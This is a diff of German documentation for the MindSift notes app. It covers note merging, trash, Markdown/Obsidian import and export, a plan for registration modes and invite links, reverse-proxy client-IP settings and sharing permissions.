- **Notizen zusammenführen (Merge):** Per Drag & Drop einer Notiz auf eine andere in der Seitenleiste oder über das Drei-Punkte-Menü im Notizkopf („Mit anderer Notiz zusammenführen…“). Die eigene Quellnotiz wird als `h2`-Abschnitt angehängt und in den Papierkorb verschoben; der Hinweis bietet vollständiges Rückgängigmachen (`POST /documents/{id}/merge/undo`).
|
||||||
|
- **Rückverweise:** Unter jeder Notiz listet „Verlinkt auf diese Notiz (n)“ alle Notizen mit `[[Titel]]` (auch `[[Titel|Text]]`, `[[Titel#Abschnitt]]`, Groß-/Kleinschreibung egal) samt Fundstelle; ein Klick springt direkt zum Bullet. Ohne Rückverweise bleibt der Bereich unsichtbar, eingeklappt merkt er sich im Browser ([BacklinksSection.tsx](../../frontend/src/features/workspace/BacklinksSection.tsx), `GET /documents/{id}/backlinks`).
|
||||||
- **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
|
- **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
|
||||||
- **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
|
- **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
|
||||||
- **Speichern:** Jede Notiz hat im Browser eine `DocSyncEngine` ([lib/docSync/](../../frontend/src/lib/docSync/)). Der Editor meldet jede Änderung der Block-Liste; die Engine übersetzt sie in Operationen, speichert sie zuerst in IndexedDB und sendet sie dann gesammelt (300 ms) an `POST /docs/{id}/sync`. Beim Öffnen zeigt sie sofort den gespeicherten Stand, auch offline.
|
- **Speichern:** Jede Notiz hat im Browser eine `DocSyncEngine` ([lib/docSync/](../../frontend/src/lib/docSync/)). Der Editor meldet jede Änderung der Block-Liste; die Engine übersetzt sie in Operationen, speichert sie zuerst in IndexedDB und sendet sie dann gesammelt (300 ms) an `POST /docs/{id}/sync`. Beim Öffnen zeigt sie sofort den gespeicherten Stand, auch offline.
|
||||||
@@ -31,6 +36,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
|||||||
- **Konfliktkopien** sind farbig markiert („Konflikt – Version von …“) mit „Übernehmen“ (Text ersetzt den ursprünglichen Punkt bzw. den Titel, die Kopie verschwindet) und „Verwerfen“.
|
- **Konfliktkopien** sind farbig markiert („Konflikt – Version von …“) mit „Übernehmen“ (Text ersetzt den ursprünglichen Punkt bzw. den Titel, die Kopie verschwindet) und „Verwerfen“.
|
||||||
- **Rückgängig:** `Strg+Z`/`Cmd+Z` nimmt die eigene letzte Änderung zurück, `Strg+Umschalt+Z` oder `Strg+Y` wiederholt (auch im Titel und über das Kontextmenü/mobile Tastaturen). Tippen im selben Punkt bis 1 s Pause ist ein Schritt; bis zu 200 Schritte je Tab. Hat jemand anderes den Punkt inzwischen geändert oder hält ihn gesperrt, wird der Schritt mit Hinweis übersprungen.
|
- **Rückgängig:** `Strg+Z`/`Cmd+Z` nimmt die eigene letzte Änderung zurück, `Strg+Umschalt+Z` oder `Strg+Y` wiederholt (auch im Titel und über das Kontextmenü/mobile Tastaturen). Tippen im selben Punkt bis 1 s Pause ist ein Schritt; bis zu 200 Schritte je Tab. Hat jemand anderes den Punkt inzwischen geändert oder hält ihn gesperrt, wird der Schritt mit Hinweis übersprungen.
|
||||||
- `PUT /documents/{id}` ändert nur noch Symbol, Anheften und Ordner (Titel wird ins Log übernommen); Inhalte laufen ausschließlich über die Engine. Das To-Do-Rollup hakt per einzelner Operation über denselben Sync-Endpunkt ab.
|
- `PUT /documents/{id}` ändert nur noch Symbol, Anheften und Ordner (Titel wird ins Log übernommen); Inhalte laufen ausschließlich über die Engine. Das To-Do-Rollup hakt per einzelner Operation über denselben Sync-Endpunkt ab.
|
||||||
|
- **Notiz-Icon (Emoji-Picker):** Vollständiger Emoji-Katalog mit Kategoriereitern, Suche, Verlauf zuletzt verwendeter Symbole (`localStorage`) und dynamischer Theme-Anpassung. Auf Mobilgeräten (< 640 px) als Bottom-Sheet mit touch-freundlichen Zielen (≥ 44 px) und `text-base`-Suchfeld (verhindert iOS-Zoom).
|
||||||
|
|
||||||
## Explorer, Tags, To-Dos
|
## Explorer, Tags, To-Dos
|
||||||
|
|
||||||
@@ -39,14 +45,46 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
|
|||||||
- **To-Do-Rollup:** Die Ansicht „To-Dos“ sammelt alle `todo`-Blöcke aller Notizen, filterbar nach Ordner. Abhaken im Rollup ändert den Block in der Notiz.
|
- **To-Do-Rollup:** Die Ansicht „To-Dos“ sammelt alle `todo`-Blöcke aller Notizen, filterbar nach Ordner. Abhaken im Rollup ändert den Block in der Notiz.
|
||||||
- **Enhanced Tasks:** Ein `todo`-Block lässt sich als verknüpfte Aufgabe führen (`/documents/{id}/blocks/{blockId}/enhanced-task`); Erledigt-Status bleibt zwischen Notiz und Aufgabenansicht synchron.
|
- **Enhanced Tasks:** Ein `todo`-Block lässt sich als verknüpfte Aufgabe führen (`/documents/{id}/blocks/{blockId}/enhanced-task`); Erledigt-Status bleibt zwischen Notiz und Aufgabenansicht synchron.
|
||||||
|
|
||||||
|
## Papierkorb
|
||||||
|
|
||||||
|
- Löschen (einzeln oder mit dem Ordner) verschiebt eigene Notizen in den Papierkorb (`is_archived = 1`). Wer eine geteilte Notiz löscht, die ihm nicht gehört, verlässt nur die Freigabe.
|
||||||
|
- Notizen im Papierkorb fehlen im Baum, in Suche, Export und Statistik und sind für alle Empfänger unsichtbar (`DocRole` = keine Rolle). Eigentümer und Löschende sehen sie schreibgeschützt mit Hinweisleiste und „Wiederherstellen“; Umbenennen, Verschieben und Teilen werden abgelehnt.
|
||||||
|
- Eintrag „Papierkorb“ mit Zähler unten in der Ordnerleiste und im mobilen Menü. Die Liste zeigt Ordner und Löschzeitpunkt; „Endgültig löschen“ und „Papierkorb leeren“ brauchen einen zweiten Tipp.
|
||||||
|
- Wiederherstellen legt einen inzwischen gelöschten Ordner neu an; existiert ein geteilter Ordner nicht mehr, landet die Notiz auf der Hauptebene. Freigaben bleiben erhalten. Der Papierkorb leert sich nicht von selbst.
|
||||||
|
|
||||||
## Freigabe
|
## Freigabe
|
||||||
|
|
||||||
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md), [FLAW-17](../flaws.md)).
|
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen freigeben – wahlweise mit der Rolle **Bearbeiter** (`write`) oder **Leser** (`read`) ([sharing-and-permissions.md](../sharing-and-permissions.md)). Bearbeiter ändern Inhalt und Struktur über die Sync-Engine; Leser sehen Änderungen live.
|
||||||
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
|
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
|
||||||
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
|
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
|
||||||
|
|
||||||
## Grenzen
|
## Grenzen
|
||||||
|
|
||||||
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
|
- Keine gleichzeitige Bearbeitung im selben einzelnen Bullet (Sperren pro Bullet und Konfliktkopie statt Zeichen-für-Zeichen-Zusammenführung), keine Cursor-Anzeige fremder Eingaben, keine Versionshistorie.
|
||||||
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
|
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
|
||||||
- Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen ([FLAW-18](../flaws.md)).
|
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
|
||||||
|
|
||||||
|
## Export als Markdown-Archiv
|
||||||
|
|
||||||
|
Kontoeinstellungen → Webhooks, KI-Agenten & Export → „Markdown-Archiv herunterladen“ (`GET /export/markdown`, Code: [export_markdown.go](../../internal/storage/export_markdown.go)).
|
||||||
|
|
||||||
|
- Ordner und Notizen so, wie der Nutzer sie sieht (eigene Ordner, eingehängte geteilte Ordner, mit ihm geteilte Notizen); leere Ordner bleiben erhalten.
|
||||||
|
- Jede Notiz: YAML-Frontmatter (`title`, `icon`, `tags`, `created_at`, `updated_at`) und Markdown, das Obsidian direkt darstellt: Überschriften, Trenner, Hinweisboxen (`> [!note]`) und Codeblöcke der obersten Ebene als echte Blöcke, ihre Kinder rücken eine Ebene nach vorn; alles andere als Liste mit einem Tab pro Ebene, To-dos als `- [ ]`.
|
||||||
|
- Dateinamen werden für alle Betriebssysteme bereinigt (keine `/ \ : * ? " < > |`, nie `.`/`..`); doppelte Titel bekommen „ (2)“.
|
||||||
|
- Das ZIP wird beim Lesen der Daten direkt in die Antwort geschrieben, ohne temporäre Dateien.
|
||||||
|
|
||||||
|
## Import
|
||||||
|
|
||||||
|
Kontoeinstellungen → Webhooks, KI-Agenten & Export → „Daten importieren“, mit **zwei getrennten Wegen** (Code: [import_markdown.go](../../internal/storage/import_markdown.go), [ImportCard.tsx](../../frontend/src/features/settings/ImportCard.tsx)):
|
||||||
|
|
||||||
|
| Weg | Endpunkt | Dateien | Ergebnis |
|
||||||
|
|---|---|---|---|
|
||||||
|
| MindSift-Daten | `POST /import/mindsift` | Backup-ZIP oder JSON (`/export`) oder Markdown-Archiv (`/export/markdown`), das Format wird erkannt | Notizen in ihre Ordner, Aufgabenlisten mit Unteraufgaben, Fälligkeit, Priorität und Notizen, Listen mit Menge, Kategorie und Erledigt-Status, beim JSON-Backup auch die Gedanken der Triage. Fremde, nur mit dem Exporteur geteilte Inhalte im JSON werden übersprungen. |
|
||||||
|
| Obsidian-Vault | `POST /import/obsidian` | ZIP eines Vaults | Alles in einen neuen Ordner mit dem Namen des Vaults, Unterordner bleiben. Checkboxen bleiben Checkboxen, Frontmatter-Tags werden zu `#Hashtags`, Callouts zu Hinweisboxen, Wikilinks bleiben `[[…]]`. Versteckte Ordner (`.obsidian`, `.trash`) werden ignoriert, Anhänge übersprungen. |
|
||||||
|
|
||||||
|
- **Vorschau:** Die Oberfläche lädt die Datei zuerst mit `?preview=1` hoch. Der Server liest und prüft alles und meldet, was angelegt würde (inkl. übersprungener Dateien mit Grund), schreibt aber nichts. Erst „Jetzt importieren“ legt an.
|
||||||
|
- **Hinzufügen oder Wiederherstellen** (nur MindSift-Daten): „Hinzufügen“ legt nur neu an, Bestehendes bleibt unverändert. „Wiederherstellen“ (`?mode=restore`, in der Oberfläche nur nach bestätigtem Warnhinweis) löscht vorher alle eigenen Notizen, Ordner, Aufgaben, Gedanken und Listen – erst nachdem die Datei vollständig gelesen und geprüft ist, eine kaputte Datei löscht also nichts. Mit dem Nutzer geteilte Inhalte anderer bleiben. Ein Obsidian-Import fügt immer hinzu.
|
||||||
|
- **Markdown → Notiz:** Listen behalten ihre Verschachtelung (Tabs oder Leerzeichen), Inhalte unter einer Überschrift werden darunter eingerückt (Gegenstück zum Export), Absätze werden zu Punkten, Codeblöcke zu Codeblöcken.
|
||||||
|
- **Grenzen:** Upload max. 100 MB, eine Notiz max. 10 MB, entpackt zusammen max. 500 MB, höchstens 20 000 Dateien. Pfade mit `..` oder absolute Pfade werden entschärft und bleiben im Zielordner.
|
||||||
|
- Bricht ein Import wegen eines Fehlers ab, bleibt das bis dahin Angelegte erhalten; die Meldung nennt das Element, an dem es scheiterte.
|
||||||
|
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
# Plan: Registrierung und Anmeldung (Entwurf)
|
||||||
|
|
||||||
|
Stand 2026-10-31. **Umgesetzt in v0.23.0:** Abschnitte 1 (Registrierungsmodus und Freigabe), 2 (Umgebungsvariablen) und 3 (Einladungslinks, per E-Mail einladen, mehrfach verwendbare Links). E-Mail-Bestätigung per Link in v0.24.0. OpenID Connect ist zurückgestellt (kein Bedarf), vermerkt in `TODO.md`. Ziel: ein Zwischending zwischen „jeder darf sich registrieren“ und „für jede Person einen Einladungscode erzeugen“, dazu bequemere Anmeldung.
|
||||||
|
|
||||||
|
## Heute
|
||||||
|
|
||||||
|
- `ALLOW_REGISTRATION` bzw. Admin-Schalter „offene Registrierung“: jeder kann ein Konto anlegen.
|
||||||
|
- Sonst nur mit Einladungscode (optional an eine E-Mail-Adresse und eine Organisation gebunden, einmal verwendbar, mit Ablaufdatum).
|
||||||
|
- Anmeldung nur mit E-Mail/Benutzername und Passwort (dazu API-Keys für Webhooks).
|
||||||
|
|
||||||
|
## 1. Registrierungsmodus statt Ja/Nein
|
||||||
|
|
||||||
|
Ein Modus ersetzt den Schalter „offene Registrierung“:
|
||||||
|
|
||||||
|
| Modus | Verhalten |
|
||||||
|
|---|---|
|
||||||
|
| `closed` | Nur mit Einladungscode (wie heute ohne offene Registrierung). |
|
||||||
|
| `approval` | Jeder kann sich registrieren, das Konto ist aber **gesperrt, bis ein Admin es freigibt**. |
|
||||||
|
| `domain` | Registrierung nur mit E-Mail-Adressen bestimmter Endungen (z. B. `@firma.de, @familie-dach.de`), sofort aktiv. |
|
||||||
|
| `domain+approval` | Erlaubte Endungen sofort aktiv, alle anderen warten auf Freigabe. |
|
||||||
|
| `open` | Jeder, sofort aktiv (wie heute). |
|
||||||
|
|
||||||
|
Einladungscodes funktionieren in jedem Modus und überspringen Freigabe und Endungsprüfung.
|
||||||
|
|
||||||
|
**Freigabe durch Admin**
|
||||||
|
- Neue Konten im Modus `approval` werden mit `is_active = 0` und einem Status „wartet auf Freigabe“ angelegt (eigenes Feld, damit „gesperrt“ und „wartet“ unterscheidbar bleiben).
|
||||||
|
- Die Person sieht nach der Registrierung: „Dein Konto wird geprüft. Du bekommst eine E-Mail, sobald es freigeschaltet ist.“ Anmelden geht bis dahin nicht (gleiche Meldung).
|
||||||
|
- Admins bekommen eine Benachrichtigung über die vorhandenen Kanäle (E-Mail/Push, neues Ereignis „Registrierung wartet“) und sehen in der Benutzerverwaltung oben eine Liste **„Wartet auf Freigabe“** mit Freigeben / Ablehnen. Ablehnen löscht das Konto.
|
||||||
|
- Bei Freigabe geht eine E-Mail im bekannten Layout an die Person („Dein Konto ist freigeschaltet“ mit Knopf zur App).
|
||||||
|
- Ohne SMTP funktioniert alles, nur ohne E-Mails.
|
||||||
|
|
||||||
|
**E-Mail-Endungen**
|
||||||
|
- Liste von Domains, Vergleich ohne Groß-/Kleinschreibung auf den Teil nach `@` (keine Subdomains, außer ausdrücklich `*.firma.de`).
|
||||||
|
- Optional: **E-Mail-Adresse bestätigen** per Link (wie Passwort vergessen, gleiche Token-Technik), bevor das Konto aktiv wird. Sonst kann jeder `chef@firma.de` eintippen. Bei `domain` sollte die Bestätigung Pflicht sein, wenn SMTP eingerichtet ist.
|
||||||
|
|
||||||
|
**Missbrauch**
|
||||||
|
- Gleiche Bremse wie beim Login (Anfragen pro IP), dazu höchstens N wartende Registrierungen gleichzeitig (z. B. 50), danach „gerade keine Registrierung möglich“.
|
||||||
|
- In der Demo bleibt Registrierung aus.
|
||||||
|
|
||||||
|
## 2. Einstellungen: Admin-Oberfläche oder Umgebungsvariablen
|
||||||
|
|
||||||
|
Damit die Admin-Einstellungen nicht überladen werden:
|
||||||
|
|
||||||
|
- **Admin-Oberfläche:** nur der Modus (Auswahlfeld) und darunter, je nach Modus, das Feld für die erlaubten Endungen. Die Liste „Wartet auf Freigabe“ steht in der Benutzerverwaltung, nicht in den Einstellungen.
|
||||||
|
- **Umgebungsvariablen** (gewinnen, wenn gesetzt; das Feld in der Oberfläche ist dann gesperrt mit Hinweis „über die Umgebung festgelegt“ – so wie heute bei SMTP):
|
||||||
|
|
||||||
|
```env
|
||||||
|
REGISTRATION_MODE=domain+approval # closed | approval | domain | domain+approval | open
|
||||||
|
REGISTRATION_DOMAINS=firma.de,familie-dach.de
|
||||||
|
REGISTRATION_VERIFY_EMAIL=true # Bestätigungslink vor Aktivierung
|
||||||
|
```
|
||||||
|
- `ALLOW_REGISTRATION=true` bleibt als Alias für `REGISTRATION_MODE=open` erhalten.
|
||||||
|
|
||||||
|
## 3. Einladungen bequemer
|
||||||
|
|
||||||
|
Heute: Der Admin erzeugt einen Code (optional an eine E-Mail-Adresse und Organisation gebunden, Rolle, Gültigkeit 1–365 Tage, **einmal** verwendbar) und gibt ihn weiter; die Person wählt auf der Anmeldeseite „Einladungscode“ und tippt ihn ab.
|
||||||
|
|
||||||
|
**Einladungslink**
|
||||||
|
- Jeder Code ist auch als Link nutzbar: `https://<instanz>/?invite=<CODE>`. Der Link öffnet direkt die Registrierung mit eingetragenem Code; ist er an eine Adresse gebunden, steht die E-Mail schon fest.
|
||||||
|
- Die App entfernt den Code nach dem Öffnen aus der Adresszeile (wie beim Passwort-Link).
|
||||||
|
- In der Admin-Liste neben jedem Code: **Link kopieren** und – mit SMTP – **per E-Mail einladen** (Adresse eingeben → E-Mail im MindSift-Layout mit Knopf „Konto anlegen“, wer eingeladen hat, Gültigkeit). Beim Einladen per E-Mail wird der Code automatisch an diese Adresse gebunden.
|
||||||
|
- Den Link baut die Admin-Oberfläche aus der aktuellen Adresse; nur die E-Mail braucht `BASE_URL`.
|
||||||
|
|
||||||
|
**Mehrere Personen mit einem Code**
|
||||||
|
- Neues Feld **„Wie oft verwendbar“** (Standard 1, z. B. 20) – ein Link für eine ganze Gruppe, Klasse oder Familie. In der Liste steht „3 von 20 verwendet“, Widerrufen beendet ihn sofort.
|
||||||
|
- Mehrfach-Codes können nicht an eine einzelne E-Mail gebunden werden, wohl aber an eine Organisation und an die erlaubten E-Mail-Endungen (Abschnitt 1).
|
||||||
|
- Technisch: Spalten `max_uses` und `use_count` an `user_invites`; das bestehende „Code reservieren → Konto anlegen → als benutzt markieren“ zählt dann hoch statt abzuschließen (weiter ohne Doppelverwendung bei gleichzeitigen Registrierungen).
|
||||||
|
|
||||||
|
## 4. Anmelden mit anderen Konten (zurückgestellt)
|
||||||
|
|
||||||
|
### OpenID Connect (statt „nur Google“)
|
||||||
|
|
||||||
|
Ein allgemeiner OIDC-Login deckt Google, Microsoft, Apple und vor allem **selbst gehostete Anbieter** ab: Authentik, Keycloak, Authelia – und **Gitea/Forgejo selbst** kann OIDC-Anbieter sein. Für ein Homelab ist das meist nützlicher als Google.
|
||||||
|
|
||||||
|
- Konfiguration nur per Umgebung (Geheimnisse gehören nicht in die Datenbank-Oberfläche):
|
||||||
|
```env
|
||||||
|
OIDC_ISSUER=https://git.dsit.me/ # oder https://accounts.google.com
|
||||||
|
OIDC_CLIENT_ID=…
|
||||||
|
OIDC_CLIENT_SECRET=…
|
||||||
|
OIDC_BUTTON_LABEL=Mit Gitea anmelden
|
||||||
|
OIDC_ALLOWED_DOMAINS=firma.de # optional, sonst gilt der Registrierungsmodus
|
||||||
|
OIDC_AUTO_CREATE=true # neues Konto beim ersten Login anlegen (Modus/Freigabe gelten)
|
||||||
|
```
|
||||||
|
- Ablauf: Authorization Code Flow mit PKCE, `state` und `nonce`; Rückkehr auf `BASE_URL/api/v1/auth/oidc/callback`. Konten werden über `iss`+`sub` verknüpft (neue Tabelle), nicht nur über die E-Mail.
|
||||||
|
- Besteht schon ein Konto mit derselben, vom Anbieter **bestätigten** E-Mail, wird es nach Passwortabfrage verknüpft (kein stilles Übernehmen fremder Konten).
|
||||||
|
- Danach normale MindSift-Sitzung (wie heute), Abmelden bleibt lokal.
|
||||||
|
- Passwort-Login bleibt daneben möglich; optional `PASSWORD_LOGIN=false`, wenn nur noch OIDC gewünscht ist (Admin-Notzugang beachten).
|
||||||
|
|
||||||
|
Eine Anmeldung über den Mailserver (SMTP-Prüfung wie in Gitea) ist bewusst nicht vorgesehen: Das Mailpasswort liefe durch MindSift, und große Anbieter erlauben es meist nicht mehr.
|
||||||
|
|
||||||
|
## Reihenfolge und Aufwand (grob)
|
||||||
|
|
||||||
|
1. Einladungslink (Link kopieren, per E-Mail einladen) und mehrfach verwendbare Codes – klein bis mittel, sofort nützlich. (Mehrere Einzel-Codes auf einmal erzeugen ist damit überflüssig und entfällt.)
|
||||||
|
2. Registrierungsmodus mit Freigabe und Endungen, Umgebungsvariablen, Admin-Liste „Wartet auf Freigabe“, E-Mails – mittel.
|
||||||
|
3. E-Mail-Bestätigung per Link – klein (Technik wie Passwort vergessen).
|
||||||
|
4. OIDC-Login – mittel (Bibliothek `coreos/go-oidc` + `golang.org/x/oauth2`, neue Tabelle für verknüpfte Konten, Knopf auf der Anmeldeseite).
|
||||||
|
|
||||||
|
## Offene Fragen
|
||||||
|
|
||||||
|
- Sollen Admins bei jeder wartenden Registrierung benachrichtigt werden oder reicht ein Zähler in der Benutzerverwaltung?
|
||||||
|
- Neue Konten per Endung automatisch einer Organisation zuordnen (z. B. `@firma.de` → Organisation „Firma“)?
|
||||||
|
- Welcher OIDC-Anbieter zuerst: Gitea, Google, Authentik …?
|
||||||
|
- Soll ein abgelehnter Antrag gesperrt bleiben (gleiche Adresse kann es nicht erneut versuchen) oder einfach gelöscht werden?
|
||||||
@@ -11,6 +11,20 @@ Dieses Dokument beschreibt die empfohlene Konfiguration von Reverse-Proxies und
|
|||||||
| **WebSockets** | 443 (WSS) / 80 (WS) | `Upgrade $http_upgrade`<br>`Connection "Upgrade"`<br>`proxy_read_timeout 3600s` | Bidirektionale Live-Updates (Aufgaben, Listen, Notizen) |
|
| **WebSockets** | 443 (WSS) / 80 (WS) | `Upgrade $http_upgrade`<br>`Connection "Upgrade"`<br>`proxy_read_timeout 3600s` | Bidirektionale Live-Updates (Aufgaben, Listen, Notizen) |
|
||||||
| **Server-Sent Events (SSE)** | 443 (HTTPS) / 80 (HTTP) | `X-Accel-Buffering: no`<br>`proxy_buffering off`<br>`proxy_cache off` | Fallback bei blockiertem WebSocket-Upgrade |
|
| **Server-Sent Events (SSE)** | 443 (HTTPS) / 80 (HTTP) | `X-Accel-Buffering: no`<br>`proxy_buffering off`<br>`proxy_cache off` | Fallback bei blockiertem WebSocket-Upgrade |
|
||||||
| **REST API & Uploads** | 443 (HTTPS) / 80 (HTTP) | `client_max_body_size 64M` | Notizen, Import/Export (JSON) |
|
| **REST API & Uploads** | 443 (HTTPS) / 80 (HTTP) | `client_max_body_size 64M` | Notizen, Import/Export (JSON) |
|
||||||
|
| **Client-IP** | – | `X-Real-IP` / `X-Forwarded-For` | Login-Sperre nach Fehlversuchen trifft den richtigen Absender |
|
||||||
|
|
||||||
|
### Client-IP und `TRUSTED_PROXIES`
|
||||||
|
|
||||||
|
MindSift sperrt Anmeldungen nach Fehlversuchen auch pro IP-Adresse. Hinter einem Proxy kommt jede Verbindung vom Proxy; die echte Adresse steht in `X-Forwarded-For` bzw. `X-Real-IP`. MindSift glaubt diesen Kopfzeilen nur, wenn die Verbindung von einem vertrauenswürdigen Proxy kommt, sonst könnte jeder, der den Port direkt erreicht, eine beliebige Adresse vortäuschen.
|
||||||
|
|
||||||
|
| `TRUSTED_PROXIES` | Wirkung |
|
||||||
|
|---|---|
|
||||||
|
| `private` (Standard) | Proxys aus localhost, Docker- und Heimnetzen (`10.x`, `172.16–31.x`, `192.168.x`, `fd…`, `100.64.x`). Passt für Proxy im selben Docker-Netz oder auf demselben Host – nichts einzustellen. |
|
||||||
|
| `private,198.51.100.0/24` | zusätzlich eigene Bereiche, z. B. ein externer Proxy-Server oder die [IP-Bereiche von Cloudflare](https://www.cloudflare.com/ips/) |
|
||||||
|
| `all` | Kopfzeilen immer glauben (früheres Verhalten) – Notausgang, wenn die Erkennung Probleme macht |
|
||||||
|
| `none` | Kopfzeilen nie glauben |
|
||||||
|
|
||||||
|
Schickt ein vertrauenswürdiger Proxy gar keine Client-IP mit, steht einmal eine Warnung im Log, und für diese Anfragen gilt nur noch die Sperre pro Konto. Die ganze Login-Sperre lässt sich mit `LOGIN_PROTECTION=false` abschalten.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -151,7 +165,8 @@ Wird MindSift hinter dem Cloudflare CDN betrieben:
|
|||||||
- Deaktiviere "Rocket Loader" für MindSift, da asynchrone Skripteingriffe den Start der Single-Page-App stören können.
|
- Deaktiviere "Rocket Loader" für MindSift, da asynchrone Skripteingriffe den Start der Single-Page-App stören können.
|
||||||
3. **Cloudflare WAF / Bot Fight Mode:**
|
3. **Cloudflare WAF / Bot Fight Mode:**
|
||||||
- Stelle sicher, dass `GET /api/v1/events` und `GET /api/v1/ws*` nicht von "Challenge"-Seiten blockiert werden.
|
- Stelle sicher, dass `GET /api/v1/events` und `GET /api/v1/ws*` nicht von "Challenge"-Seiten blockiert werden.
|
||||||
4. **SSE-Unterstützung:**
|
4. **Client-IP:** Cloudflare liefert die Besucheradresse in `CF-Connecting-IP`/`X-Forwarded-For`. Spricht Cloudflare MindSift direkt an (ohne eigenen Proxy dazwischen), die Cloudflare-Bereiche in `TRUSTED_PROXIES` ergänzen.
|
||||||
|
5. **SSE-Unterstützung:**
|
||||||
- Cloudflare unterstützt Server-Sent Events nativ über HTTP/2 und HTTP/3. Dank der vom MindSift-Backend gesetzten Header `X-Accel-Buffering: no` und `Cache-Control: no-cache` streamt Cloudflare Echtzeit-Events verzögerungsfrei an die Clients.
|
- Cloudflare unterstützt Server-Sent Events nativ über HTTP/2 und HTTP/3. Dank der vom MindSift-Backend gesetzten Header `X-Accel-Buffering: no` und `Cache-Control: no-cache` streamt Cloudflare Echtzeit-Events verzögerungsfrei an die Clients.
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -221,7 +236,8 @@ curl -i -N \
|
|||||||
-H "Origin: https://mindsift.example.com" \
|
-H "Origin: https://mindsift.example.com" \
|
||||||
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
|
-H "Sec-WebSocket-Key: SGVsbG8sIHdvcmxkIQ==" \
|
||||||
-H "Sec-WebSocket-Version: 13" \
|
-H "Sec-WebSocket-Version: 13" \
|
||||||
https://mindsift.example.com/api/v1/ws?token=<DEIN_TOKEN>
|
-H "Authorization: Bearer <DEIN_TOKEN>" \
|
||||||
|
https://mindsift.example.com/api/v1/ws
|
||||||
```
|
```
|
||||||
*Erwartete Antwort:* `101 Switching Protocols`
|
*Erwartete Antwort:* `101 Switching Protocols`
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,8 @@
|
|||||||
|
|
||||||
| Ebene | Werte | Bedeutung |
|
| Ebene | Werte | Bedeutung |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| Server | `admin`, `member` | Admins verwalten Benutzer, Einladungen und Einstellungen (`/admin/*`). |
|
| Server | `admin`, `member` | Admins verwalten Benutzer, Organisationen, Einladungen und Einstellungen (`/admin/*`). |
|
||||||
|
| Organisation | Mitglied | Bestimmt, wer wen sieht (siehe unten). Nur Server-Admins ordnen zu. |
|
||||||
| Gruppe | `admin`, `member` | Gruppen-Admins ändern/löschen die Gruppe und verwalten Mitglieder. Wer eine Gruppe anlegt, wird Admin. |
|
| Gruppe | `admin`, `member` | Gruppen-Admins ändern/löschen die Gruppe und verwalten Mitglieder. Wer eine Gruppe anlegt, wird Admin. |
|
||||||
| Ressource | siehe unten | Eigentümer, Bearbeiter, Leser. |
|
| Ressource | siehe unten | Eigentümer, Bearbeiter, Leser. |
|
||||||
|
|
||||||
@@ -20,7 +21,7 @@
|
|||||||
- **Notizen und Ordner:** Die effektive Rolle berechnet `Store.DocRole` (Eigentümer, Eigentümer des geteilten Ordners = Bearbeiter, direkte Freigabe, Gruppenfreigabe, Ordnerfreigabe; höchste gewinnt). Im Freigabe-Dialog sind für Notizen und geteilte Ordner „Bearbeiten“ und „Nur Lesen“ wählbar (gespeichert als `write`/`read`). Bearbeiter ändern Inhalt, Struktur und Titel über die Sync-Engine; Leser sehen Änderungen live.
|
- **Notizen und Ordner:** Die effektive Rolle berechnet `Store.DocRole` (Eigentümer, Eigentümer des geteilten Ordners = Bearbeiter, direkte Freigabe, Gruppenfreigabe, Ordnerfreigabe; höchste gewinnt). Im Freigabe-Dialog sind für Notizen und geteilte Ordner „Bearbeiten“ und „Nur Lesen“ wählbar (gespeichert als `write`/`read`). Bearbeiter ändern Inhalt, Struktur und Titel über die Sync-Engine; Leser sehen Änderungen live.
|
||||||
- Bei Aufgabenlisten und Listen gilt: Hat jemand mehrere Zugriffswege (direkt und über Gruppen), zählt die **höchste** Stufe.
|
- Bei Aufgabenlisten und Listen gilt: Hat jemand mehrere Zugriffswege (direkt und über Gruppen), zählt die **höchste** Stufe.
|
||||||
- Für Gruppen gilt die Freigabe für alle aktuellen und künftigen Mitglieder.
|
- Für Gruppen gilt die Freigabe für alle aktuellen und künftigen Mitglieder.
|
||||||
